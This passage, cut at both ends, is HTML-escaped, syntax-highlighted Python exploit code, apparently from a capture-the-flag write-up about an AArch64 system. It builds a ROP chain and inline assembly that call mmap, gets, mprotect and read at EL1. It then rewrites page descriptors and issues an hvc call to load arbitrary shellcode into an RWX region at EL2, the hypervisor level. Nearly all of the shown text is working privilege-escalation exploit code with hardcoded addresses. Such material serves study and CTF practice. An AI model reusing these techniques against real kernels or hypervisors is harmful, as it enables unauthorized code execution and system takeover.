&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    NEW_PAGE_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFEFFFFB000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    DESCRIPTOR_TABLE_ADDR_OF_NEW_PAGE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0028FD8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    chain &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, NEW_PAGE_ADDR]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el1_return_oriented_programming(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rop_chain&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;chain,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        el0_head_assembly&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x0, #0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x1, 0x01000;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x2, #3;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x3, xzr;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x4, xzr;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x5, #0xFFFFFFFFFFFFFFFF;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x6, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;mmap&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x6;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x20, x0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x6, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;gets&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x6;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x0, x20;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x1, 0x01000;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x2, #5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x6, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;mprotect&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x6;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x0, 0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x1, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(DESCRIPTOR_TABLE_ADDR_OF_NEW_PAGE&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x2, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x5, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;read&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            add x22, x22, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            cmp x22, x23;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            b.lt read_rop_chain
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;,  &lt;span style=&#34;color:#75715e&#34;&gt;# this mmap allocate NEW_MAP_ADDR(0x7ffeffffb000)-0x36000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        head_input&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;make_shellcode(assembly) &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el2_arbitrary_code_execute&lt;/span&gt;(assembly_or_shellcode: str &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; bytes) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    EL1_GET_CHAR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0009AD8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; isinstance(assembly_or_shellcode, str):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; make_shellcode(assembly_or_shellcode)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; assembly_or_shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; shellcode &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; len(shellcode) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    VA &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0002000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    EL2_RWX &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; VA &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    EL1_DESCRIPTOR_TABLE_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC001E010&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    EL1_DESCRIPTOR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x2443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    TARGET_IPA_DESCRIPTOR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x40102000&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x443&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    IPA_DESCRIPTOR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100000&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    IPA &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x2000&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; TARGET_IPA_DESCRIPTOR &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; ((IPA &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x40000000&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; IPA_DESCRIPTOR)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el1_arbitrary_code_execute(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x0, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(EL1_DESCRIPTOR_TABLE_ADDR)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x1, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(EL1_DESCRIPTOR)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        str x1, [x0];&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x0, #1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x1, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(IPA)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x2, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(IPA_DESCRIPTOR)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        hvc 0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x20, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(EL2_RWX)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x21, xzr;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x22, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;len(shellcode)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        read_el2_shellcode:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x0, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(EL1_GET_CHAR)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            strb w0, [x20, x21];&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            add x21, x21, 1&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            cmp x21, x22&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            b.lt read_el2_shellcode;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x0, #1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
